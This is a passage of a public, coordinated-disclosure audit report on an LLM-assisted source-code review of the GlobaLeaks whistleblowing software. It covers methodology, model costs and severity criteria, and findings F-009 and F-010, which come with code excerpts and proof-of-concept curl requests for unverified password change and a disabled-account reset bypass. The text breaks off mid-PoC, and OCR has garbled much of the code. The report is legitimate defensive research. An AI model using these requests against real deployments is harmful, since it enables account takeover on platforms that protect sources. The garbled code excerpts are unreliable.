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reviewed.
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Point-in-time statement

This report describes a point-in-time source-code assessment of the repository snapshot identified above. It does
not certify that the software is free from other vulnerabilities, and it does not cover changes introduced after the
stated cut-o dates. Severity and exploitability may vary with deployment configuration, operational controls,
enabled features, and retained historical data.

Independence and sponsor involvement

The sponsor defined the engagement scope as the software contained in the public GlobalLeaks repository.
ISGroup maintained full technical and editorial autonomy over finding validity, severity, inclusion, and report
conclusions. The sponsor was involved in a second triage phase to verify technical facts, contextualize impact
against the project threat model, identify already-addressed or non-exploitable candidates, and distinguish
reportable findings from non-finding candidates. ISGroup had already removed candidates it considered non-
vulnerabilities, generic suggestions, duplicates, or unsupported issues before sponsor triage.

Coordinated disclosure

This review was conducted and released under coordinated disclosure. Findings were shared with the
Globaleaks project, which conducted the second technical triage described above and addressed the most
critical items ahead of this public release on 30 July 2026. Verification of those fixes was outside the scope of this
engagement; consistent with the point-in-time statement, this report describes the reviewed snapshot rather than
the current state of the code. Operators running GlobalLeaks should track the project's own releases and
changelog for remediation status.
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1  Executive summary

For more than a decade, GlobalLeaks has been among the most heavily examined security-sensitive programs in
the open-source world. Between 2013 and 2024 it was reviewed by iSEC Partners, Cure53, Least Authority,
Subgraph, Radically Open Security, and ISGroup. Each of those audits asked the question: what can a skilled
specialist find, given time?

This engagement asked a di erent one. Not what an expert can find, but what anyone can find now that expert-
level reading of code can be rented by the hour.

The distinction matters because it changes who a defender has to worry about. For most of the history of
software, the close reading of a large codebase was a scarce and expensive skill; the set of people who could do
it was small, and the e ort priced casual adversaries out. Commercial large language models have quietly
dissolved that barrier. A codebase that once took a specialist a month to read carefully can now be read - in
parallel, and against a fixed catalogue of weakness classes - for the price of a modest cloud bill. The scarce
resource was never the vulnerabilities. It was the attention needed to find them - and attention is exactly what
these systems have made cheap.

Whistleblowing Solutions Impresa Sociale Srl. engaged ISGroup to put that proposition to the test against a real
target. We performed an LLM-assisted source-code review of Global eaks, treating the models not as oracles but
as tireless, literal, and occasionally inspired research workers under human direction. Every candidate they
produced was a hypothesis and nothing more until a human had traced it through the source, reproduced it
where necessary, and judged its real-world impact. The result is two things at once: a conventional security
review of a specific snapshot of the code, and a measurement of how far this rented capability actually reaches
against a mature, repeatedly audited, and freshly hardened system.

The target was not neglected software. In the month before the snapshot we reviewed, the maintainers landed
183 commits during an intensive hardening and release cycle, including token hashing, session-state resets,
tightened authorization, and new audit logging. We were reading the codebase close to its best-defended
moment. Soft spots found even here carry real signal.

The economics are part of the result. The campaign processed roughly 1.24 billion tokens across about 12,000
model requests, for a total model spend of approximately USD 3,140 - on the order of USD 77 per confirmed
vulnerability or denial-of-service finding, before human validation. The spend fell unevenly. One high-reasoning
model burned most of the money while touching a fraction of the tokens; the cheaper models did the broad
reading. Going deep costs more than casting wide - but not much more, and not enough to deter anyone. The
capability is real, and by the standards of any motivated adversary it is inexpensive.

The review produced 110 triaged records: 29 confirmed vulnerabilities across the external and internal adversary
chapters, 12 denial-of-service findings, 42 hardening recommendations, and 27 candidates retained - deliberately
- as non-findings, so the reader can see what was considered and set aside as well as what was kept. Set the
categories aside, and the confirmed findings fall along a handful of fault lines. Each fault line translates a class of
bug into something that can happen to the people the software protects.

The first fault line runs between holding a session and owning an account. Both of the review's two High-severity
findings live here. In one, the endpoint that changes a user's password never checks the current password:
anyone in possession of a live session - a borrowed laptop, a stolen token, a malicious script running in the user's
own browser - can set a new password and lock the legitimate user out (F-009). On encrypted deployments the
same request silently re-wraps the victim's private key material to a password the attacker chose (F-009). In the
other, a user an administrator has explicitly disabled can walk back in through the account-reset flow (F-010). The
mechanism meant to backstop exactly this - the second authentication factor - proves no sturdier: a session-

Page 9 of 400

All rights reserved ISGroup Sr.l. - www.isgroup.biz - Made in Italy



ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
. . PIVA IT 04164220230
Information Security REA VR-397513

Labeling PUBLIC Date 30/07/2026 Author ISGroup

Edition 01 Revision 01 Distribution Public disclosure permitted

holder can brute-force the confirmation code until 2FA falls away or the recovery key is handed over (F-029), and
a single valid code can be raced into two live sessions (F-027). A foothold that should have stayed temporary - the
kind of partial, expiring access a well-built system is meant to contain - can be converted into permanent control
of a recipient, analyst, custodian, or administrator account.

The second fault line is the one this category of software exists to defend, and that no other kind of software
shares. A whistleblowing platform has one duty that matters more than any other: the people inside it must never
be able to identify the person who reported from outside. Several findings press directly on that wall. In one, a
recipient can recover a whistleblower attachment that was meant to stay masked (F-001). In others, the very
screens on which recipients, custodians, and whistleblowers choose and approve one another identify people
only by display names that any recipient can set for themselves - so a malicious recipient can pose as another,
and a human deciding whom to trust may, with no warning, be trusting the wrong one (F-065, F-103, F-105). None
of this looks dramatic - no remote code execution, no broken cipher. Each finding simply shaves a little more o
the source's anonymity, which is the whole of what they are trusting the system with.

The third fault line is the set of partitions that keep one tenant from reaching into another: a token validated
against the wrong tenant (F-050), a tenant administrator able to reshape another tenant's questionnaires (F-109).
The fourth is the record of what happened - a cluster of findings in which the most sensitive actions a recipient
can take, exporting a report (F-047), redacting it (F-044), uploading or deleting its files (F-053), can occur without
leaving a reliable, attributable trace. For a system whose output may one day be evidence, a missing record is not
a paperwork gap. If the point of a log is that it can be trusted later, an action that leaves no trace has already
defeated it. The fifth, and in this threat model the lightest, is availability: conditions a single unauthenticated visitor
can use to exhaust the server or mail spool (F-003, F-049, F-054, F-055, F-057) - and, in the sharpest case, a
single crafted submission that flips a whole tenant's receipt handling and locks existing whistleblowers out of the
reports they already filed (F-102). We weight these lower - a platform briefly o ine can still receive a report
tomorrow - but we do not dismiss them, because denial of the channel is, in the end, denial of the disclosure.

What is striking about these findings is how ordinary most of them are. They are not exotic cryptographic breaks
or novel exploit primitives. They are missing checks, mutable identifiers, unlogged actions - the small, individually
forgivable mistakes that accumulate in every large codebase and that no amount of prior auditing fully removes.
The danger of the LLM-equipped adversary is economic: it makes the thorough, patient, unglamorous first pass -
reading everything, everywhere, against every weakness class - cheap enough that anyone can commission it. A
mature, actively maintained, repeatedly audited whistleblowing platform, read that way for the cost of a dinner,
still had this many soft spots left to find.

None of this means the machine has replaced the expert. It has not: separating 29 real vulnerabilities from a much
larger heap of plausible-looking noise took human judgment at every step. What has changed is the price of
looking. A project protecting people at real risk must now assume its adversaries can a ord to look everywhere.
The right response is the one the Globaleaks maintainers were already demonstrating before this review began:
continuous, disciplined hardening, on the assumption that the next reader of your code may be cheaper, faster,
and more patient than the last.
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2 Scope, adversary, and threat model

Two questions ran in parallel through this work, and neither is answerable alone. The first is ordinary: does this
specific snapshot of GlobaLeaks contain vulnerabilities that matter? The second is new: how much of that answer
can be reached by a person equipped only with commodity LLM access, disciplined scoping, and time? The
engagement was designed to serve both - to find real issues, and to measure the reach of the method that found
them.

The goals were to surface vulnerabilities a capable attacker could discover with contemporary LLM-assisted
review; to prioritise issues that touch whistleblower confidentiality, anonymity, access boundaries, and
auditability over generic hygiene; to record which models, prompts, and strategies produced signal; to quantify
the cost and runtime of the method under ordinary commercial access; and to leave behind a public artifact the
project and its adopters can use as evidence of continued security investment.

2.1 Reviewed target and scope

The primary target is the public Globaleaks whistleblowing software repository,
gi t hub. coni gl obal eaks/ gl obal eaks-whi st | ebl owi ng-sof tware , branch stabl e . The reviewed local snapshot
is commit d88681811415d11af 108562b4413d419058ce6ea version 5.0.94, dated 31 May 2026.

The sponsor-defined scope was the complete software contained in the public repository. The review therefore
treated the backend, frontend, tests where they document behaviour, deployment assets, release scripts, Cl
configuration, and project documentation as in scope wherever they could a ect application security or the
validity of the LLM-assisted conclusions. This was primarily a source-code review, not a network penetration test,
DAST campaign, or infrastructure assessment. Candidate findings were validated through manual source review
and, where useful, through proof-of-concept construction, end-to-end exercise of the a ected flow, or
instrumentation of the code under review. Infrastructure outside the public repository, deployed Tor network
operations, hosting perimeter controls, and customer-specific deployments were not assessed except where
repository code or documentation made a security claim about them.

2.2 The application threat model

The model treats whistleblowers, recipients, custodians, analysts, and administrators as distinct roles.
Whistleblowers submit reports and later reach their own submission through the receipt or access-code flow.
Recipients read and manage the reports assigned to them. Custodians and analysts perform specialised review
and identity workflows where enabled. Administrators configure tenants, contexts, users, questionnaires, and
platform behaviour.

Abusive behaviour by a recipient is in scope: a finding counts when a recipient can exceed an intended report-
access boundary, reach another recipient's data, tamper with workflow metadata, defeat auditability, or weaken
whistleblower anonymity. External unauthenticated and authenticated attackers are in scope wherever the code
exposes a realistic path to confidentiality, integrity, or availability impact - authentication and session weaknesses,
injection, XSS, authorization bypass, unsafe file handling, tenant-boundary violations.

One weighting in this model is deliberate: in a whistleblowing system, confidentiality and integrity outrank
availability. A platform that is slow, degraded, or briefly 0 ine can still receive a report once administrators
restore service, in the worst case from backup. A confidentiality or integrity failure cannot be undone the same
way: it can expose a source, a recipient, a report, or the trust the whole process depends on. Availability findings
are therefore real but weighted lower throughout this report.
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Out of scope. Behaviour that relies only on a legitimate administrator using legitimate administrative authority is a
matter of deployment governance, not an application vulnerability, unless a concrete cross-role or non-
administrative path exists. Low-impact hygiene, style, and theoretical dependency concerns are not promoted to
findings without a defensible impact in this repository.

2.3 How severity was assigned

Severity is assigned by ISGroup after human review. The report does not lead with CVSS, because too much of
what matters here - roles, tenant boundaries, whistleblower confidentiality, workflow guarantees, operational
assumptions - does not survive compression into a single generic base score. The model weighs five factors: the
a ected security property, the attacker's role and prerequisites, exploit reliability, blast radius, and fit with the
Globaleaks threat model. Impacts on whistleblowers, reports, recipient boundaries, tenant separation, account
control, or auditability weigh more than availability alone.

Severity Criteria

High Serious compromise of account control, whistleblower
anonymity, report confidentiality, tenant isolation, or
trusted workflow integrity, with realistic prerequisites.

Medium Significant security impact limited by role,
configuration, historical data, operational
preconditions, or narrower a ected scope.

Low Concrete but bounded security impact, strong
prerequisites, low scalability, or reduced practical
exploitability.

Info Defensive hardening, auditability, configuration,

documentation, or maintainability improvement with
security relevance but no current concrete exploit
path.

None Candidate retained for transparency but not classified
as a current vulnerability under the accepted threat
model, or an issue whose practical impact was
neutralised by configuration, version history,
mitigation, or triage context.

Some reportable records carry severity None because they document a technically real condition that is not a
current exploitable vulnerability in the reviewed threat model. A legacy condition a ecting retained pre-3.0.0
unencrypted reports, for example, can still be useful to operators and maintainers even when current encrypted
reports are una ected.
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3 The new adversary

Classical source-code auditing models a particular opponent: an expert, working by hand, bounded by time. That
model is not wrong, but it is no longer complete. Beside it now stands a second figure - an adversary whose
capacity to read and reason about code is rented through commercial LLMs, who can hold an entire repository in
view at once, and who can iterate across dozens of vulnerability classes for the cost of a modest cloud bill. This
engagement was built to measure what that second figure can do.

The assumed attacker has nothing an ordinary member of the public lacks: full read access to a public repository,
an account with a frontier-model provider, time measured in hours to days, and a budget measured in APl usage.
The research question follows directly - how far does that commodity capability reach against a codebase that
expert audits and recent maintainer hardening have already strengthened, and what does the distance cost in
tokens, runtime, and human validation?

3.1 Discovery and validation were kept separate

The models were used as independent vulnerability-research workers, each constrained by a written threat
model, an issue template, and a rule that no candidate counts without concrete repository evidence. But the
review kept discovery and validation strictly apart. LLM output was treated as a set of hypotheses. Human
reviewers owned source verification, deduplication, exploitability analysis, scope validation, severity, and final
inclusion. Nothing entered this report because a model suggested it; findings were confirmed by reading the
code, and where useful by reproducing the behaviour - end-to-end against the a ected flow, or by instrumenting
code paths and constructing minimal proof-of-concept requests against the handler logic.

The project-side technical triage was a second triage phase, not a replacement for ISGroup validation. ISGroup
first removed unsupported candidates, duplicates, generic suggestions, and issues it did not consider real. The
remaining candidates were then reviewed with the sponsor and project technical context to verify facts, account
for the GlobalLeaks threat model, and identify candidates better classified as non-findings.

3.2 Coverage was driven by a taxonomy, not by intuition

The mature form of the review (V2) is anchored to the MITRE CWE Software Development view, CWE-699. Its
category nodes were used as a fixed coverage sca old: 40 weakness categories spanning 445 enumerated
child entries, mapping to 399 distinct CWEs. Each category is an independent run against the full repository, with
its own backlog and validation trail - audit and logging errors, authentication errors, authorization errors, business-
logic errors, concurrency issues, and so on. This keeps the review systematic: what gets examined is fixed in
advance by a published taxonomy, not left to whatever the model happens to notice first.

The method reached that form in two generations. The first mapped the territory; the second, described below,
forced the cross-file reasoning where real bugs hide.

Aspect V1 exploratory review V2 category-driven review

Primary focus Code components and selected CWE weakness categories across
areas the full codebase

Purpose Map the space and identify obvious Improve coverage and force cross-
signal file reasoning
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Aspect V1 exploratory review V2 category-driven review
Completeness pressure Limited Explicit per-category completeness
requirement
Typical runtime Minutes to short sessions Hours per category
Cost profile Low-cost exploration Higher-cost deep reasoning

Component-focused prompts produced local results; weakness-class prompts forced cross-file reasoning where
real vulnerabilities hide. V2 therefore asks the model to reason about a class of weakness across the whole

codebase, not about a region of code.

3.3 Models, tooling, and what they cost

Access was through ordinary commercial channels - the point is to model a real LLM-equipped attacker, not a
privileged research lab. The harness was OpenAl Codex; routing and access went through CLIProxyAPI and
OpenRouter; versions and profiles were pinned so runs stayed comparable. In each finding, the Found by field
records the model family, the reasoning profile ( nedi um for broad, low-cost passes; xhi gh for deep cross-file
analysis), and the review line that first produced the candidate. The labels run_codex_cwe_| ine vl and v2
denote the earlier and the later, more complete category-driven Codex workflows.

Model

Role

GPT-5.5 Pro, high-reasoning profile

GPT-55

Claude Sonnet 4.6

Claude Opus 4.8

Deep V2 per-category reasoning

Broad passes, supporting tasks, and lower-cost
exploration

V1 exploration and cross-model corroboration

Targeted supporting analysis and validation assistance

Across the review period the campaign processed roughly 12,000 model requests and 1.24 billion tokens across
the four models used for substantive research, for a total model spend of approximately USD 3,140. Percentages
are computed from unrounded figures. The distribution is highly asymmetric: the high-reasoning model was a
minority of token volume but the majority of spend, while standard models carried broad volume at low cost.

Model Tokens, period Model spend, period Share of spend
GPT-5.5 Pro, high- 90 M USD ~2,000 61.9%
reasoning profile

GPT-55 1,080 M USD 904 30.2%

Claude Sonnet 4.6 60 M uUsD 184 6.2%
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Model Tokens, period Model spend, period Share of spend
Claude Opus 4.8 10M USD 51 1.7%
Total 124 B USD ~3,140 100.0%

Observed V2 category runtimes ranged from roughly 2h20m to nearly 7h per category. The capability is real, but
deeper review takes measurably more time and budget.

3.4 Limitations and threats to validity

This is an engineering study, not a controlled scientific benchmark, and it should be read as one. The models are
non-deterministic; commercial behaviour drifts over time; proprietary versions cannot be reproduced exactly by
third parties. Prompt design, tool availability, budget, repository context, and human steering all move the results.

Three limits deserve emphasis. First, the target is public and heavily documented, so the models may well have
encountered Globaleaks, its prior audits, or its historical issues in training or retrieval; read this as a realistic
attacker-capability study, not a clean-room test of model originality. Second, there was no human-only control
group at equal time, budget, and scope, so the report cannot cleanly isolate the model's contribution from
reviewer skill, prompt engineering, and triage discipline. Third, absence of a finding in a category does not prove
absence of the weakness - false negatives may remain. The methodology also evolved mid-engagement, from
exploratory review to category-driven review, so per-model and per-phase charts are operational evidence from
this campaign, not stable comparative rankings.
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4  Project state at review time

This matters for reading everything that follows: the codebase under review was not a soft target. The maintainers
had just completed an intensive hardening cycle and had already shipped a release closing the issues known to
the project at the start of this activity. The numbers below establish how much the software had changed - and
how recently it had been strengthened - before an LLM-equipped reader was pointed at it.

The public stabl e branch snapshot reviewed locally was:

Commi t: d88681811415d11af 108562b4413d419058ce6ea
Date: 2026-05-31 22:43:54 +0200
Subj ect: Bunp to version 5.0.94

Repository history provides useful context for the amount of change after the previous public application-level
audit:

Period Public commits on stabl e Notes

18 Aug 2022 to 3 Jun 2026 2,652 Changes after the ROS 2022 report
date through the local review
snapshot.

1 May 2026 to 31 May 2026 183 Intensive pre-review hardening and

release activity.

May 2026 commits matching 34 Keyword-based indicator, not a
security-related keywords complete security classification.

Examples of security-relevant May 2026 commit subjects include:

Apply npmaudit fix

Gant and transfer access api delivery to recipients

Limt subm ssions api delivery to recipients

Add audit logging for critical admn configuration operations

Fi x session destruction to fully reset application state via page rel oad
Hash password reset tokens before storing themon di sk

Hash enai| change validation tokens before storing themin the database
Hash signup activation tokens before storing themin the database

Aut hori ze subni ssion substatus creation against tenant-owned status

[ci] set least-privilege permssions on all workflows

These data points do not prove the absence of vulnerabilities. They show that the review was performed against a
mature and actively hardened codebase, which is important when interpreting both positive findings and false
positives produced by LLM-assisted analysis.

Page 16 of 400

All rights reserved ISGroup S.r.I. - www.isgroup.biz - Made in Italy



PIVA IT 04164220230

ISGroup SRL
roup Via Cantarane, 14
37129 Verona (VR)

Information Security

Labeling

Edition

5

PUBLIC

01

REA VR-397513

Date 30/07/2026 Author ISGroup

Revision 01 Distribution Public disclosure permitted

Results overview

This chapter reports the shape of the dataset - counts, severities, and the way findings distribute across chapters,
components, and reporting models. What the findings mean is covered in the Executive summary and in "Findings
at a glance"; this chapter is the data behind them.

The full population is 110 triaged candidate records: 41 vulnerability or denial-of-service findings (Ch. 7-9), 42
hardening observations (Ch. 10), and 27 non-finding candidates retained for transparency (Ch. 11). Of the 83
reportable records, 41 are findings and 42 are hardening. The non-finding rate is 24.5% of the triaged set. Against
roughly USD 3,140 in model spend, that is about USD 38 per reportable record and about USD 77 per
vulnerability or DoS finding, before human validation e ort.

Chapter Scope Records Ordering

7 Vulnerabilities (External 17 Severity, then finding ID
adversaries)

8 Vulnerabilities (Internal 12 Severity, then finding ID
adversaries)

9 Denial of Service 12 Severity, then finding ID

10 Hardening 42 Severity, then finding ID

11 Non-finding candidates 27 Retained for transparency

after triage

A note on two numbers that look alike. Severity and validity are di erent axes. Twenty-six records carry the
severity "None"; twenty-seven records sit in the non-finding-candidate chapter. They are close but not the same
set: arecord can be reportable and still low or informational, and the "None" severity also attaches to a small
number of reportable records that document a real but non-exploitable condition.

Severity distribution across the full dataset, including the 27 non-finding candidates:

Severity Count
High 2
Medium 15
Low 25
Info 42
None 26
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5.1 Visual summary

ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
PIVA IT 04164220230
REA VR-397513

The charts below present the same 110 candidate records from several complementary angles, including the

non-finding candidates in Chapter 11 unless noted otherwise.

High (2)

Medium (15)

None (26)

Info (42)

Severity distribution across all candidate records, including non-finding candidates.
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Impact dimension

Confidentiality, integrity, and availability impact levels assigned across all findings.
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5.2 Findings at a glance - what an attacker could do

The confirmed findings gather along five fault lines. Each names what an attacker could do, and points to the
chapters that prove it.

e The controls that protect an account each have a gap. Both of the review's High-severity findings turn a
foothold into ownership. The password-change endpoint never checks the current password, so any live
session can lock the real user out - and, on encrypted deployments, silently re-key their private material to a
password the attacker chose (F-009, Ch. 7, HIGH); separately, a user an administrator has disabled can walk
straight back in through the reset flow (F-010, Ch. 7, HIGH). The second factor holds no better: for a session-
holder, a confirmation code can be brute-forced to strip 2FA or reveal the recovery key, and one valid code
can be replayed into two sessions (F-027, F-029, Ch. 7).

e The wall this software exists to defend can be gone around. The one promise a whistleblowing platform
must keep - that no one inside can identify the source - is pressed on from several directions. A masked
attachment can be recovered through the report-export path (F-001, Ch. 8); and every screen on which
people choose or approve one another - a recipient granting access, a whistleblower picking a recipient, a
custodian approving an identity request - names them only by a display name any recipient can change (F-
065, F-103, F-105, Ch. 8). In the worst case, a custodian is induced to disclose a source's identity to the wrong
person (F-103, Ch. 8).

e Boundaries that should hold between tenants do not. A recipient's session bound to a network-restricted
tenant can be redeemed through a more permissive one and shed those controls (F-050, Ch. 7); a tenant
administrator can push attacker-controlled questionnaire content into another tenant's intake (F-109, Ch. 8).

e Sensitive actions can happen without leaving a trace. Report export, redaction, and recipient file operations
complete with no attributable audit record (F-047, F-044, F-053, Ch. 10).

e The channel itself can be denied. A single crafted public submission can switch a whole tenant's receipt
handling and lock existing whistleblowers out of their own reports (F-102, Ch. 7); lighter conditions let one
visitor exhaust server state or the mail spool (Ch. 9, DoS). Availability sits lower in this threat model, but these
are still direct ways to interrupt the disclosure path.

Two more external-adversary findings are more conventional but no less real: outbound mail that can be
intercepted because its TLS certificate is never checked against the mail host, and exported data that can execute
formulas or split response headers on a viewer's machine. The external chapter (Ch. 7) covers both.

The severity spread - 2 High, 15 Medium, 25 Low, 42 Info, 26 None across all 110 records - is the honest shape of
a well-defended codebase read exhaustively: no single catastrophic break, but a long tail of small mistakes,
several of which matter precisely because of what this software is for. The chapters that follow take each finding in
turn - what it is, how to reproduce it, and what it costs the people the system protects.

Page 23 of 400

All rights reserved ISGroup Sr.l. - www.isgroup.biz - Made in Italy



ISGroup SRL
roup Via Cantarane, 14
37129 Verona (VR)

Information Security

PIVA IT 04164220230
REA VR-397513

Labeling PUBLIC Date 30/07/2026 Author ISGroup
Edition 01 Revision 01 Distribution Public disclosure permitted
5.3 Howtoread afinding

Every finding uses the same anatomy, so a reader can move quickly and compare like with like:

One-line stakes - what the issue lets an attacker do, in plain terms.

Impact - Component - Found by - the risk in a phrase, the a ected part of the system, and the model, profile,
and review line that first surfaced the candidate.

Details - the a ected code paths, the mechanism, and the reasoning, with the relevant source inline.
PoC - concrete steps to reproduce, where a proof was built.

Impact - expected versus actual behaviour, who is a ected, and the confidentiality / integrity / availability
rating.

CWE - the mapped weakness class.

Severities follow the model in §2.3. Within each chapter, findings are ordered by severity, then by finding ID.
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6 Recommendations

The individual findings are specific, but the most useful response works at the level of process: review the whole
codebase on a schedule, remediate faster, strengthen the audit trail, and design interfaces so the people making
security-relevant choices can actually verify them.

6.1 Forthe project

e Carry the remediation through to released versions. The most critical items were addressed ahead of this
disclosure; the remaining reported issues should be closed on the project's normal coordinated-disclosure
cadence, so that adopters inherit fixes rather than a report.

o Make exhaustive, category-driven review a habit, not an event. Turn a taxonomy-guided pass over the
whole codebase into a recurring fixture - at least annually, and after any change to the authentication, session,
tenancy, or cryptographic core.

o Treat auditability as a first-class feature. Several findings were gaps in the record of what happened, rather
than breaks in access control. For software whose output may become evidence, the log is part of the
product. Build and maintain it with the same care as the features it records.

o Keep identifiers stable wherever humans make trust decisions. When one person chooses or approves
another - recipient, custodian, whistleblower - the interface should rest on identifiers that the person being
selected cannot control.

6.2 Foradopters and operators

¢ Configure for the threat model you actually face. Many properties in this report depend on deployment
choices; the strongest confidentiality posture is not always the default one.

o Stay current. Coordinated disclosure only protects operators who upgrade. Track the project's releases and
apply security updates promptly.

e Treat source availability as attacker capability. The economics in this report apply to running systems as
much as to source code.

6.3 For the wider ecosystem

The method matters beyond this target. Any project protecting people at real risk should fold LLM-assisted,
category-driven review into the ordinary rhythm of maintenance, while keeping the human judgment that turns a

pile of candidates into a short list of real issues.
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7 Vulnerabilities (considering external adversaries)

This chapter contains the findings classified under external adversaries: an attacker with a realistic path to
confidentiality, integrity, or availability impact, whether unauthenticated or operating from a compromised or
borrowed session.
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7.1 F-009 - Session holder changes account
password

A stolen or unattended session is enough to let an attacker reset the victim's password and turn temporary
access into full account takeover.

IMPACT COMPONENT FOUND BY
Account takeover risk Backend GPT-5.5 medium via
run_codex_cwe_line v1

The user password-change endpoint accepts a new password for the authenticated session but does not verify
the current password. The Angular client asks for the current password and sends it in the operation arguments,
but the backend operation descriptor accepts operation arguments as a generic dictionary and

change_passwor d() ignores the supplied current value entirely. Any actor with a live internal-user session can
therefore rotate that account's password without knowing the existing password.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ user/ oper ati on. py:
User Qper at i onHand| er . change_password / change_passwor d
backend/ gl obal eaks/ handl er s/ oper ati on. py: Qperati onHandl er . put
client/app/src/shared/ partial s/ passwor d- change/ passwor d- change. conponent . t s:
Passwor dChangeConponent . changePasswor d

Description:

The client-side password-change form collects both the current password and the new password. When a per-
user salt is available, the client derives both values before submitting the change_password operation to

[/ api / user/ operations .

The backend Qperati onHandl er validates only that operation arguments are a dictionary, dispatches
change_passwor d , and does not require the confirmation mechanism for this operation.
User Qper at i onHandl er . change_passwor d() passesonly req_args[' password' ] to the transaction. The
transaction decodes and stores the new password-derived key hash, checks only that it di ers from the current
stored hash, and never compares req_args[' current'] with the stored credential.

This makes password change an unverified credential-change operation. A malicious script running in an
authenticated user's browser, a local attacker with access to an unattended logged-in session, or an attacker who
obtains only the session token can permanently change that user's password without knowing the current
password. The code already has a password/2FA confirmation helper for sensitive operations, but this operation is
not listed as requiring confirmation and does not perform an equivalent current-password check.

Relevant code:
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/1 client/app/src/shared/ partial s/ passwor d- change/ passwor d- change. conponent . t s

data = {
“operation": "change_password",
“args": {

current: await this.cryptoService. hashArgon2(this. changePasswor dArgs. current,
this. preferencesServi ce. dat aMbdel . sal t),
password: await this.cryptoService. hashArgon2(thi s. changePasswor dAr gs. passwor d
, this. preferencesService. dat aMbdel . sal t)
}
}

# backend/ gl obal eaks/ handl er s/ user/ oper at i on. py
cl ass User Qper at i onHandl er (Qper at i onHandl er) :
check_roles = 'user’

require_confirmation = [
‘disable_2fa',
' get _recovery_key"

]

def change_password(sel f, reg_args, *args, **kwargs):
return change_passwor d(sel f. session. user _tid,
sel f. sessi on,
reg_args[' password'])

@r ansact
def change_password(session, tid, user_session, password):
user = db_get_user(session, tid, user_session.user_id)

key = Base64Encoder . decode( passwor d. encode())
hash = sha256( key) . decode()

# Check that the new password is different formthe current password
if user.hash == hash:
rai se errors. Passwor dReuseEr r or

user. hash = hash

user . passwor d_change_date = dateti me_now()
user . passwor d_change_needed = Fal se

PoC

PIVA IT 04164220230

REA VR-397513

Steps to reproduce

1. Authenticate as any internal user and capture the session identifier returned by login.

SESSI ON=' <val i d x-session value for a recipient, analyst, custodian, or adnin>'

2. Derive any new password value in the same client format used by the application, or reuse an already
computed base64 Argon2 value for that user's salt. Send change_password with an arbitrary or omitted

current value and the chosen new password-derived value.

curl -k -X PUT " https://target.exanpl e/ api /user/operations' \
-H "x-session: $SESSION' \
-H 'content-type: application/json \

--data ' {"operation":"change_password", "args":{"current":"not-the-current-
password", "passwor d": " <base64 argon2-derived new key>"}}'

3. Observe that the operation succeeds and the account's stored password hash is updated.

The backend does not reject the request because “current” is wong; it never
checks that field.
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Expected result

The backend should verify the current password-derived credential, or require the existing password/2FA
confirmation mechanism, before changing the stored password.

Actual result

The backend updates the authenticated user's password using only the session and the new password value.

Impact

This is an unverified password-change vulnerability. It increases the impact of session-only compromise and
unattended authenticated browser access from temporary session use to persistent account takeover and
lockout. On encrypted deployments, password rotation also rewraps the user's encrypted private key material for
the attacker-chosen password-derived key.

Impacted users or systems:

¢ Internal users: administrators, recipients, analysts, and custodians with active sessions.

¢ Deployments where an attacker can obtain or use an internal user's live session without knowing the account

password.
CONFIDENTIALITY INTEGRITY AVAILABILITY
High High Low

Unverified Password Change
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7.2 F-010 - Disabled user resets into account

A disabled internal user can still regain a valid session through password reset, undermining account revocation.

IMPACT COMPONENT FOUND BY

Revocation bypass Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

The password reset flow can issue and redeem reset tokens for disabled internal users. A recipient account that
an administrator disabled can request a reset email, validate the reset token, redeem the returned login token,
and obtain a normal recipient session despite the normal password-login path explicitly filtering out disabled
users.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ user/r eset _passwor d. py
backend/ gl obal eaks/ handl ers/auth/ __init__.py
backend/ gl obal eaks/ rest/ decor at or s. py

PCST / api / user/reset/ passwor d

PUT /api / user/reset/ password

PCST / api / aut h/ t okenaut h

Description:

The normal internal-user login transaction only loads users where User. enabl ed is true, then applies the role's
connection policy before creating a session.

The password reset flow does not apply the same account-state authorization. The reset-token request queries
users by username or mail address and tenant without requiring User . enabl ed . The reset validation endpoint
reads the marker file, loads the user by id only, marks passwor d_change_needed , and creates a

Sessi ons. new(...) objectwith the user's role. The client then redeems that session id through

/ api / aut h/ t okenaut h , which regenerates and returns the normal role session. The generic decorator layer
authorizes later role APIs from the session role and tenant, not from the current enabled state of the backing

User row.

This is distinct from an already-active disabled-user session: the reset path can create a fresh authenticated
session after the account has been disabled.

Relevant code:
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backend/ gl obal eaks/ handl ers/auth/ __init__.py

92 if tidin State.tenants and State.tenants[tid].cache.sinplified_|ogin:
93 user = session.query(User).filter(or_(User.id == usernane,

94 User . user nane == user nane),
95 User. enabl ed. is_(True),

96 User.tid == tid).one_or_none()
97 el se:

98 user = session. query(User).filter(User.username == usernane,

99 User. enabl ed. i s_(True),

100 User.tid == tid).one_or_none()

148 session = Sessions.new(tid, user.id, user.tid, user.role, crypto_prv_key,
user. crypt o_escrow _prv_key)

backend/ gl obal eaks/ handl er s/ user/r eset _passwor d. py

85 users = session. query(nodel s. User).filter(

86 or _(func. | ower (nmodel s. User. user nane) == usernane_or _enai | .| ower (),
87 func. | ower (nodel s. User . nai | _addr ess) == usernanme_or _enail .| ower()),
88 nodel s. Wser. tid == tid

89 ). distinct()

90

91 for user in users:

92 db_gener at e_passwor d_r eset _t oken( sessi on, user)

121 user = session. query(nodel s. User).filter(nmodels. User.id ==

user _i d). one_or _none()

122 if user is None:

123 return {'status': 'invalid_reset_token_provided }

154 # Require password change
155 user . passwor d_change_needed = True

159 user _sessi on = Sessions. new( user. tid,

160 user.id,

161 user.tid,

162 user.rol e,

163 prv_key,

164 user . crypt o_escrow_prv_key)

173 return {'status': 'success', 'token': user_session.id}
backend/ gl obal eaks/ handl ers/auth/ __init__.py

228 session = Sessions. get (request[' aut htoken'])

229 if session is None:

230 yield twdb_login_failure, self.request.tid, 0)

235 sessi on = Sessi ons. r egener at e( sessi on)

backend/ gl obal eaks/ rest/ decor at or s. py

38 if self.session and self.session.tid == self.request.tid:

39 if "user' in user_roles and self.session.role in USERS ROLES
40 return f(self, *args, **kwargs)

41 if self.session.role in user_roles:

42 return f(self, *args, **kwargs)

PoC

Steps to reproduce

1. Disable a recipient account through the normal administrator user API. The ordinary password login path will no
longer load that user because it filters on User. enabl ed. i s_(True) .

curl -s -X PUT ' https:// TARCGET/ api / adm n/ user s/ <r eci pi ent -user-i d> \
-H ' X-Session: <adm n-session>' \
-H ' Content-Type: application/json' \
--data ' <full AdninUserDesc JSON with "enabl ed": fal se>'
